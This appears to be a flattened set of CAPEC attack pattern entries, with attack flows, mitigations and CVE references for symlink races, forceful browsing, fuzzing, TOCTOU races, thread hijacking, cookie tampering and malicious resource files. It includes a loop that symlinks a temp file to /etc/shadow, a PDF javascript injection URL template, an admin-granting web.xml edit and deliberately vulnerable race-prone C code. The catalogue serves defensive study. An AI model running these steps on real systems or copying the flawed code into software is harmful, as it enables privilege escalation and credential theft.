Verify that target host's platform supports symbolic links. This attack pattern is only applicable on platforms that support symbolic links. Research target platform to determine whether it supports symbolic links. env-Embedded env-Local Create a symbolic link and ensure that it works as expected on the given platform. env-Embedded env-Local Target platform supports symbolic links (e.g. Linux, UNIX, etc.) Target platform does not support symbolic links (e.g. MS Windows) Examine application's file I/O behavior Analyze the application's file I/O behavior to determine where it stores files, as well as the operations it performs to read/write files. Use kernel tracing utility such as ktrace to monitor application behavior env-Local Use debugging utility such as File Monitor to monitor the application's filesystem I/O calls env-Local Watch temporary directories to see when temporary files are created, modified and deleted. env-Embedded env-Local Analyze source code for open-source systems like Linux, Apache, etc. env-Embedded env-Local Attacker can watch files being created, modified and/or deleted by application. env-Embedded env-Local Application does not seem to perform any filesystem I/O operations. env-Embedded env-Local Attacker identifies at least one reproducable file I/O operation performed by the application. Attacker cannot identify any file I/O operations being performed by the application. Verify ability to write to filesystem The attacker verifies ability to write to the target host's file system. Create a file that does not exist in the target directory (e.g. "touch temp.txt" in UNIX-like systems) env-Embedded env-Local On platforms that differentiate between file creation and file modification, if the target file that the application writes to already exists, attempt to modify it. env-Embedded env-Local Verify permissions on target directory env-Embedded env-Local Target directory is a globally writable temp directory (e.g. /tmp in many UNIX-like systems) env-Embedded env-Local Target directory is writable by the attacker's effective user ID. env-Embedded env-Local Attacker can create and modify files in the target directory. Attacker cannot create or modify files in the target directory. Store temporary files in a directory with limited permissions where malicious users cannot tamper with them. Replace file with a symlink to a sensitive system file. Between the time that the application checks to see if a file exists (or if the user has access to it) and the time the application actually opens the file, the attacker replaces the file with a symlink to a sensitive system file. Create an infinite loop containing commands such as "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat". Wait for an instance where the following steps occur in the given order: (1) Application ensures that tempfile.dat exists and that the user has access to it, (2) "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat", and (3) Application opens tempfile.dat for writing, and inadvertently opens /etc/shadow for writing instead. env-Embedded env-Local Use other techniques with debugging tools to replace the file between the time the application checks the file and the time the application opens it. env-Embedded env-Local Sensitive file tampered with successfully. Sensitive file could not be tampered with. Use file handles to check existence of files, to check permissions and to open them. Do not use filename except to obtain a handle initially. Drop application's permissions to the current user's permissions before performing any file I/O operations (e.g. using Process.as_uid() in Ruby). Run application with minimal permissions. In particular, avoid running applications as root on UNIX-like systems and as Administrator on Windows systems. The attacker is able to create Symlink links on the target host. Tainted data from the attacker is used and copied to temporary files. The target host does insecure temporary file creation. High Medium Injection Time and State Modification of Resources In this naive example, the Unix program foo is setuid. Its function is to retrieve information for the accounts specified by the user. For "efficiency," it sorts the requested accounts into a temporary file (/tmp/foo naturally) before making the queries. The directory /tmp is world-writable. Malicious user Mallory creates a symbolic link to the file /.rhosts named /tmp/foo. Then, she invokes foo with + + as the requested account. The program creates the (temporary) file /tmp/foo (really creating /.rhosts) and puts the requested account (+ +) in it. It removes the temporary file (merely removing the symbolic link). Now the /.rhosts contains + +, which is the incantation necessary to allow anyone to use rlogin to log into the computer as the superuser. (Source : Wikipedia (http://en.wikipedia.org/wiki/Symlink_race)). GNU ed before 0.3 allows local users to overwrite arbitrary files via a symlink attack on temporary files, possibly in the open_sbuf function. CVE-2006-6939 OpenmosixCollector and OpenMosixView in OpenMosixView 1.5 allow local users to overwrite or delete arbitrary files via a symlink attack on (1) temporary files in the openmosixcollector directory or (2) nodes.tmp. CVE-2005-0894 Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. CVE-2000-0972 Medium/High: This attack is sophisticated because the attacker has to overcome a few challenges such as creating symlinks on the target host during a precise timing, inserting malicious data in the temporary file and have knowledge about the temporary files created (file name and function which creates them). The attacker will certainly look for file system locations where he can write and create Symlink links. The attacker may also observe the system and locate the temporary files created during a call to a certain function. Use safe libraries when creating temporary files. For instance the standard library function mkstemp can be used to safely create temporary files. For shell scripts, the system utility mktemp does the same thing. Access to the directories should be restricted as to prevent attackers from manipulating the files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Follow the principle of least privilege when assigning access rights to files. Ensure good compartmentalization in the system to provide protected areas that can be trusted. Data Modification Privilege Escalation Denial of Service The content of the temporary file which is copied to the file pointed to by the Symlink. The content of the file overwriten when writing to the Symlink. The new content of the targeted file. This attack can cause privilege escalation, modification of resources or denial of services. 367 Targeted 61 Targeted 662 Targeted 689 Targeted 667 Targeted 29 More Detailed 26 More Detailed Least Privilege Exploitation High High Low All All All All Symlink Race, Wikipedia - http://en.wikipedia.org/wiki/Symlink_race Safe temporary file creation with mkstemp - http://www.opengroup.org/onlinepubs/009695399/functions/mkstemp.html Eric Dalci Cigital, Inc 2007-02-01 Sean Barnum Cigital, Inc 2007-03-08 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description, Likelihood and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attacker employs forceful browsing to access portions of a website that are otherwise unreachable through direct URL entry. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web appplication that have been improperly protected.

Spider Using an automated tool, an attacker follows all public links on a web site. He records all the links he finds. Use a spidering tool to follow and record all links env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. env-Web A list of links is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Attempt well known or guessable resource locations Using an automated tool, an attacker requests a variety of well-known URLs that correspond to administrative, debugging, or other useful internal actions. He records all the positive responses from the server. Use a spidering tool to follow and record attempts on well known URLs env-Web Use a proxy tool to record all links visited during a manual traversal of attempts on well known URLs. env-Web Common resource identifiers are used (e.g., /admin/, admin.jsp, admin.aspx, etc.) env-Web Well known middleware or application platforms are used (e.g., Cold Fusion, WebSphere, WebLogic, JBoss, etc.) env-Web The attacker discovers one or more unprotected resources. Monitor errors (e.g., 404 not found) from web servers, application servers, and other HTTP infrastructure (e.g., load balancers). Alert on an unusual number of consecutive failures or total failures from a single host. Potentially alert on many failures from many different hosts, but in a relatively short time window. Create "honeypot" web pages or scripts that do not actually have any use in the application, and name them common names (e.g., admin.jsp, admin.do, admin.aspx, etc.). Alert when one of these resources is requested. Actively monitor the application and either deny or redirect requests from origins that appear to be generating an unusual amount of failures. Obtain a list of sensitive areas that should not be directly accessible (e.g., JSPs or other templates that should only be accessible via front controllers). Apply an external mechanism (rule in the load balancer, rule in the reverse proxy, etc.) to intercept and redirect requests for those resources. Ideally use patterns, not specific page names (e.g., /jsp/* instead of a list of individual JSPs). Regularly update the list that is used in operation. Identify defaults for platform-specific sensitive resources. If the application does not use those defaults, alert on all requests for them (e.g., http://server:8080/admin/) Use unauthorized resources By visiting the unprotected resource, the attacker makes use of unauthorized functionality. Access unprotected functions and execute them. env-All Malformed log entries are a common side-effect of this kind of attack. E.g., "User xyz deleted by on 10/16/07." The "by on" indicates that no authorized user was recorded. (A good entry would say "user xyz deleted by admin on 10/16/07"). Monitoring of log file entries for correct and consistent output format can indicate this kind of attack succeeding. View unauthorized data The attacker discovers and views unprotected sensitive data. Direct request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.) env-Web Dynamic pages (JSP, ASP, PHP, etc.) exist that divulge sensitive data without first checking authorization. env-Web The forcibly browsable pages or accessible resources must be discoverable and improperly protected. High Very High A number of automated crawlers as well as other tools are available that generally perform a good job at looking for forcefully browsable pages Brute Force A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group. An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform admnistrative functions without having to authenticate himself in that role. Low: Forcibly browsable pages can be discovered by using a number of automated tools. Doing the same manually is tedious but by no means difficult A directory listing is helpful but not a requirement. No special resources are required. Following all the links recursively reveals resources that are available Having a directory listing also points to the available pages and resources in the application that may be forcibly browsable. Authenticate request to every resource. In addition, every page or resource must ensure that the request it is handling has been made in an authorized context. Forceful browsing can also be made difficult to a large extent by not hard-coding names of application pages or resources. This way, the attacker cannot figure out, from the application alone, the resources available from the present context. Information Leakage Privilege Escalation Forceful browsing is a consequence of improper access control. The application is designed with an assumption that resources are to be accessed in a certain sequence and that this sequence is immutable. Pages in an application can request the client's identity each time a request is made or can rely on a controller or filter to do it for them before passing on the request. Often times, however, when pages are modified or new pages are added to an application, the access control logic is not updated simultaneously. This opens up an avenue for attackers to bypass the authentication mechanism and access such pages directly. Another cause is multiple access routes to the same resource, not all of which are equally well protected. 425 Targeted 285 Secondary 693 Targeted CVE-2007-1156 JBrowser allows remote attackers to bypass authentication and access certain administrative capabilities via a direct request for _admin/. CVE-2007-1062 The Cisco Unified IP Conference Station 7935 3.2(15) and earlier, and Station 7936 3.3(12) and earlier does not properly handle administrator HTTP sessions, which allows remote attackers to bypass authentication controls via a direct URL request to the administrative HTTP interface for a limited time Complete Mediation Reluctance To Trust Treat the Entire Inherited Process Context as Unvalidated Input Use Authentication Mechanisms, Where Appropriate, Correctly Chiradeep B. Chhaya 2007-03-13 First Draft Sean Barnum Cigital, Inc 2007-04-16 Review and revise Paco Hope Cigital, Inc. 2007-10-20 Added extended Attack Execution Flow

Fuzzing is a software testing method that feeds randomly constructed input to the system and looks for an indication that a failure in response to that input has occured. Fuzzing treats the system as a blackbox and is totally free from any preconceptions or assumptions about the system. An attacker can leverage fuzzing to try to identify weaknesses in the system. For instance fuzzing can help an attacker discover certain assumptions made in the system about user input. Fuzzing gives an attacker a quick way of potentially uncovering some of these assumptions without really knowing anything about the internals of the system. These assumptions can then be turned against the system by specially crafting user input that may allow an attacker to achieve his goals.

Observe communication and inputs The fuzzing attacker observes the target system looking for inputs and communications between modules, subsystems, or systems. Network sniffing. Using a network sniffer such as wireshark, the attacker observes communications into and out of the target system. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the attacker observes the system calls and API calls that are made by the target system, and the nature of their parameters. env-Local env-Embedded Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.) env-Web The attacker creates a list of unique communications packets, messages, inputs, API calls or other actions the software takes. Alert on promiscuous mode. Some network devices (switches, hubs) or monitoring stations (e.g., IDS) can detect and alert when a station in the network is passively eavesdropping. Some production hardware (for embedded environments) can have debugging disabled on the hardware. Techniques exist to insert no-ops and other null branches that thwart basic attempts to execute software stepwise in a debugger. Generate fuzzed inputs Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer. Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80). env-All Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system. env-Local env-Embedded Log unexpected parameters to API calls or system calls. Profile the software's expected use of system calls. Use a sandboxing technique to restrict its API calls to the expected patterns. SSL or other link-layer encryption techniques (VPN, 802.11x, etc.) can impair simple observation and require a would-be attacker to work much harder to get information about the operation of the software.. Observe the outcome Observe the outputs to the inputs fed into the system by fuzzers and see if anything interesting happens. If failure occurs, determine why that happened. Figure out the underlying assumption that was invalidated by the input. The software produces an indicator that the attacker can see (error message, altered error state in a protocol, etc.). env-All The previous step led to plausible, practical fuzz inputs. env-All If the software's indicators (error messages, etc.) vary clearly based on the attacker's input, then the attacker has a sufficient starting point for customizing his attack. The attacker is unable to induce unexpected failures or output based fuzzed inputs. Craft exploit payloads Put specially crafted input into the system that leverages the weakness identified through fuzzing and allows to achieve the goals of the attacker. Fuzzers often reveal ways to slip through the input validation filters and introduce unwanted data into the system. Identify and embed shellcode for the target system. env-All Embed higher level attack commands in the payload. (e.g., SQL, PHP, server-side includes, etc.) env-Web env-CommProtocol env-Peer2Peer env-ClientServer Induce denial of service by exploiting resource leaks or bad error handling. env-All Monitor system logs and alert on unusual activity. Most shellcode and unusual activity appears in logs. Medium High Analysis Injection Brute Force A fuzz test reveals that when data length for a particular field exceeds certain length, the input validation filter fails and lets the user data in unfiltered. This provides an attacker with an injection vector to deliver the malicious payload into the system. Low: There is a wide variety of fuzzing tools available. Fuzzing tools. A lot of invalid data is fed to the system. Data that cannot have been generated through a legitimate transaction/request. Data is coming into the system within a short period of time and potentially from the same IP. Take pauses between fuzzing attempts (may not be very practical). Spoof IP addresses so that it does not look like all data is coming from the same source. Test to ensure that the software behaves as per specification and that there are no unintended side effects. Ensure that no assumptions about the validity of data are made. Use fuzz testing during the software QA process to uncover any surprises, uncover any assumptions or unexpected behavior. Data Modification Denial of Service Information Leakage Privilege Escalation Run Arbitrary Code 74 Targeted 388 Targeted 20 Targeted 728 Secondary Reconnaissance Medium Medium Medium All All All All Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. The typical example is the file access. The attacker can leverage a file access race condition by "running the race", meaning that he would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the attacker could do something such as replace the file and cause an escalation of privilege.

The attacker explores to gauge what level of access he has. The attacker confirms access to a resource on the target host. The attacker confirms ability to modify the targeted resource. The attacker decides to leverage the race condition by "running the race", meaning that he would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the attacker can replace the resource and cause an escalation of privilege. A resource is access/modified concurrently by multiple processes. The attacker is able to modify resource. A race condition exists while accessing a resource. High High Time and State Modification of Resources The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. CVE-2007-1057 The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name. include <sys/types.h> include <fcntl.h> include <unistd.h> define FILE "/tmp/myfile" define UID 100 void test(char *str) { int fd; fd = creat(FILE, 0644); if(fd == -1) return; chown(FILE, UID, -1); /* BAD */ close(fd); } int main(int argc, char **argv) { char *userstr; if(argc > 1) { userstr = argv[1]; test(userstr); } return 0; } //Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&;tID=1598 Medium/High: This attack can get sophisticated since the attack has to occur within a short interval of time. Vulnerability testing tool can be used to probe for race condition. The attacker may also look for temporary file creation. The attacker may try to replace them and take advantage of a race condition. Use safe libraries to access resources such as files. Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition. Use synchronization to control the flow of execution. Use static analysis tools to find race conditions. Pay attention to concurrency problems related to the access of resources. Data Modification Privilege Escalation Run Arbitrary Code Information Leakage Denial of Service The window of time between when a file property is checked and when the file is used can be exploited to launch a privilege escalation attack. File access race conditions, known as time-of-check, time-of-use (TOCTOU) race conditions, occur when: 1. The program checks a property of a file, referencing the file by name. 2. The program later performs a filesystem operation using the same filename and assumes that the previously-checked property still holds. Example: The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable to the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations. if(!access(file,W_OK)) { f = fopen(file,"w+"); operate(f); ... } else { fprintf(stderr,"Unable to open file %s.\n",file); } The call to access()behaves as expected, and returns 0if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target. The window of vulnerability for such an attack is the period of time between when the property is tested and when the file is used. Even if the use immediately follows the check, modern operating systems offer no guarantee about the amount of code that will be executed before the process yields the CPU. Attackers have a variety of techniques for expanding the length of the window of opportunity in order to make exploits easier, but even with a small window, an exploit attempt can simply be repeated over and over until it is successful. 367 Targeted 368 Secondary 366 Secondary 370 Secondary 362 Secondary 662 Targeted 691 Targeted 663 Targeted 26 More Detailed 27 More Abstract Least Privilege Exploitation High High Low All All All All J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002. CWE - Input Validation Eric Dalci Cigital, Inc 2007-01-25 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Attack Flow, Attack Prerequisites and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Attackers can sometimes hijack a privileged thread from the underlying system through synchronous (calling a privileged function that returns incorrectly) or asynchronous (callbacks, signal handlers, and similar) means. Having done so, the Attacker may not only likely access functionality the system's designer didn't intend for them, but they may also go undetected or deny other users essential service in a catastrophic (or insidiously subtle) way.

Attacker determines the underlying system thread that is subject to user-control Attacker then provides input, perhaps by way of environment variables for the process in question, that affect the executing thread Upon successful hijacking, the attacker enjoys elevated privileges, and can possibly have the hijacked thread do his bidding The application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal users In order to feasibly execute this class of attacks, the attacker must have the ability to hijack a privileged thread. This ability includes, but is not limited to, modifying environment variables that affect the process the thread belongs to, or providing malformed user-controllable input that causes the executing thread to fault and return to a higher privilege level or such. This does not preclude network-based attacks, but makes them conceptually more difficult to identify and execute. Very High Low Analysis Modification of Resources API Abuse Attacker targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread. The Attacker could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations. High: Hijacking a thread involves knowledge of how processes and threads function on the target platform, the design of the target application as well as the ability to identify the primitives to be used or manipulated to hijack the thread. The attacker needs to be able to latch onto a privileged thread. No special hardware or software tool-based resources are required. The Attacker does, however, need to be able to program, compile, and link to the victim binaries being executed so that it will turn control of a privileged thread over to the Attacker's malacious code. This is the case even if the attacker conducts the attack remotely. The attacker may attach a debugger to the executing process and observe the spawning and clean up of threads, as well as the switches in privilege levels The attacker can also observe the environment variables, if any, that affect executing threads and modify them in order to observe their effect on the execution. Application Architects must be careful to design callback, signal, and similar asynchronous constructs such that they shed excess privilege prior to handing control to user-written (thus untrusted) code. Application Architects must be careful to design privileged code blocks such that upon return (successful, failed, or unpredicted) that privilege is shed prior to leaving the block/scope. Privilege Escalation Run Arbitrary Code This pattern applies to circumstances in which the Attacker knows the victim API and can compile, link, and deploy code in which the victim's privileged threads will call malicious code. This, in most circumstances, will involve being 'in process' with the victim. The pattern does, however, apply in network-based circumstances in which remote object/callback interaction is allowed through RPC-like technologies. In either case (local or remote) the Attacker must be able to gain control of the thread through 'normal' means, which may require privilege-enough to register a call back, subscribe to a service, or similar. 270 Secondary Only those constructs within the application that cannot execute without elevated privileges must be granted additional privileges. Often times, the entire function or the entire process is granted privileges that are usually not necessary. The callee must ensure that additional privileges are shed before returning to the caller. This avoids pinning the responsibility on an inadvertant caller who may not have a clue about the innards of the callee. Least Privilege Complete Mediation Minimize privileged code blocks Shed any privileges not required to execute at the earliest Treat the Entire Inherited Process Context as Unvalidated Input Exploitation High High Low All All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-28 Fleshed out pattern with extra content Sean Barnum Cigital, Inc 2007-03-07 Review and revise

This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form of this attack involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the attacker to impersonate the remote user/session. The third form is when the cookie's content is modified by the attacker before it is sent back to the server. Here the attacker seeks to convince the target server to operate on this falsified information.

Obtain copy of cookie The attacker first needs to obtain a copy of the cookie. The attacker may be a legitimate end user wanting to escalate privilege, or could be somebody sniffing on a network to get a copy of HTTP cookies. Obtain cookie from local filesystem (e.g. C:\Documents and Settings\*\Cookies and C:\Documents and Settings\*\Application Data\Mozilla\Firefox\Profiles\*\cookies.txt in Windows) env-Web Sniff cookie using a network sniffer such as Wireshark env-Web Obtain cookie from local memory or filesystem using a utility such as the Firefox Cookie Manager or AnEC Cookie Editor. env-Web Steal cookie via a cross-site scripting attack. env-Web Guess cookie contents if it contains predictable information. env-Web Cookies used in web application. env-Web Cookies not used in web application. env-Web Cookie captured by attacker. Cookie cannot be captured by attacker. To prevent network sniffing, cookies should be transmitted over HTTPS and not plain HTTP. To enforce this on the client side, the "secure" flag should be set on cookies (javax.servlet.http.Cookie.setSecure() in Java, secure flag in setcookie() function in php, etc.). Obtain sensitive information from cookie The attacker may be able to get sensitive information from the cookie. The web application developers may have assumed that cookies are not accessible by end users, and thus, may have put potentially sensitive information in them. If cookie shows any signs of being encoded using a standard scheme such as base64, decode it. env-Web Analyze the cookie's contents to determine whether it contains any sensitive information. env-Web Cookie only contains a random session ID (e.g. ASPSESSIONID, JSESSIONID, etc.) env-Web Cookie contains sensitive information (e.g. "ACCTNO=0234234", or "DBIP=0xaf112a22" -- database server's IP address). env-Web Cookie's contents cannot be deciphered. env-Web Cookie contains sensitive information that developer did not intent the end user to see. Cookie does not contain any sensitive information. Do not store sensitive information in cookies unless they are encrypted such that only the server can decrypt them. Modify cookie to subvert security controls. The attacker may be able to modify or replace cookies to bypass security controls in the application. Modify logical parts of cookie and send it back to server to observe the effects. env-Web Modify numeric parts of cookie arithmetically and send it back to server to observe the effects. env-Web Modify cookie bitwise and send it back to server to observe the effects. env-Web Replace cookie with an older legitimate cookie and send it back to server to observe the effects. This technique would be helpful in cases where the cookie contains a "points balance" for a given user where the points have some value. The user may spend his points and then replace his cookie with an older one to restore his balance. env-Web Subversion of security controls on server Cookie reset by server Web server logs contain many messages indicating that invalid cookies were received from client. Cookies should not contain any information that the user is not allowed to modify, unless that information is never expected to change. In the latter case, the integrity of the cookie should be protected using a digital signature or a message authentication code. Target server software must be a HTTP daemon that relies on cookies. High High Modification of Resources API Abuse Protocol Manipulation Time and State There are two main attack vectors for exploiting poorly protected session variables like cookies. One is the local machine itself which can be exploited directly at the physical level or indirectly through XSS and phising. In addition, the man in the middle attack relies on a network sniffer, proxy, or other intermediary to intercept the subject's credentials and use them to impersonate the digital subject on the host. The issue is that once the credentials are intercepted, impersonation is trivial for the attacker to accomplish if no other protection mechanisms are in place. Low: To overwrite session cookie data, and submit targeted attacks via HTTP High: Exploiting a remote buffer overflow generated by attack Ability to send HTTP request containing cookie to server Design: Use input validation for cookies Design: Generate and validate MAC for cookies Implementation: Use SSL/TLS to protect cookie in transit Implementation: Ensure the web server implements all relevant security patches, many exploitable buffer overflows are fixed in patches issued for the software. Information Leakage Data Modification Privilege Escalation One of the biggest challenges in distributed systems is communicating state between the client and server. A variety of schemes have been used, the de facto standard in web application is HTTP cookies. Because these cookies tie together a client and a server through a session, they are useful to system designers and attackers. Because cookies contain remote generated content they can also contain attack payloads. Cookies may contain a variety of data that servers use to enforce security policy, including session ID, cookie issuer, cookie issuance timestamp, session timeout, subject IP address, and MAC, however the HTTP server should not assume that the session cookie variables are invulnerable. They may be overwritten by the client and/or intermediaries. Cookies, like "hidden" HTML form fields, are generally assumed by developers to be invisible from a client standpoint, but in fact they are a target. From a privacy standpoint, cookies leave a digital audit trail that can violate a digital subject's privacy, cookies may persist personal information on hard drives, in browser cache, log files, proxy servers, and other intermediaries. "Because HTTP is a stateless protocol, cookies (small files that are stored in a client browser) were invented, mostly to preserve state. Poor design of cookie handling systems leaves both clients and HTTP daemons susceptible to buffer overflow attack." [Hoglund and McGraw 04] HTTP cookie Malicious input delivered through cookie in HTTP Request. Client software, such as a browser and its component libraries, or an intermediary 1. Enables attacker to leverage state stored in cookie 2. Enables attacker a vector to attack web server and platform 565 Targeted 302 Targeted 113 Targeted 539 Targeted 20 Targeted 315 Targeted 384 Targeted 472 Secondary 724 Targeted Exploitation High High Low Client-Server n-Tier All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. < security-constraint> <description> Security processing rules for admin screens</description> <url-pattern>/admin/*</url-pattern> <http-method>POST</http-method> <http-method>GET</http-method> <auth-constraint> <role-name>administrator</role-name> <role-name>public</role-name> </auth-constraint> </security-constraint> The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.

The attacker must have the ability to modify nonexecutable files consumed by the target software. Very High High Injection API Abuse Modification of Resources Virtually any system that relies on configuration files for runtime behavior is open to this attack vector. The configuration files are frequently stored in predictable locations, so an attacker that can fingerpint a server process such as a web server or database server can quickly identify the likely locale where the configuration is stored. And this is of course not limited to server processes. Unix shells rely on profile files to store environment variables, search paths for programs and so on. If the aliases are changed, then a standard Unix "cp" command can be rerouted to "rm" or other standard command so the user's intention is subverted. Low: to identify and execute against an overprivileged system interface Ability to communicate synchronously or asynchronously with server that publishes an overprivileged directory, program, or itnerface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP. Design: Enforce principle of least privilege Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands. Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables. Implementation: Implement host integrity monitoring to detect any unwanted altering of configuration files. Implementation: Ensure that files that are not required to execute, such as configuration files, are not over-privileged, i.e. not allowed to execute. Run Arbitrary Code Data Modification Privilege Escalation "Attack Pattern: Leverage Executable Code in Nonexecutable Files Attackers usually need to upload or otherwise inject hostile code into a target processing environment. In some cases, this code does not have to be inside an executable binary. A resource file, for example, may be loaded into a target process space. This resource file may contain graphics or other data and may not have been intended to be executed at all. But, if the attacker can insert some additional code sections into the resource, the process that does the loading may be none the wiser and may just load the new version. An attack can then occur." [Hoglund and McGraw 04] Nonexecutable files Executable code Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 94 Targeted 96 Targeted 95 Targeted 97 Targeted 272 Secondary 59 Secondary 282 Secondary 275 Secondary 264 Secondary 270 Secondary 714 Targeted Microsoft Security Bulletin MS04-028 Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution 23 Similar 75 Similar Exploitation Medium High Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker searches for and invokes Web Services APIs that the target system designers did not intend to be publicly available. If these APIs fail to authenticate requests the attacker may be able to invoke services and/or gain privileges they are not authorized for.

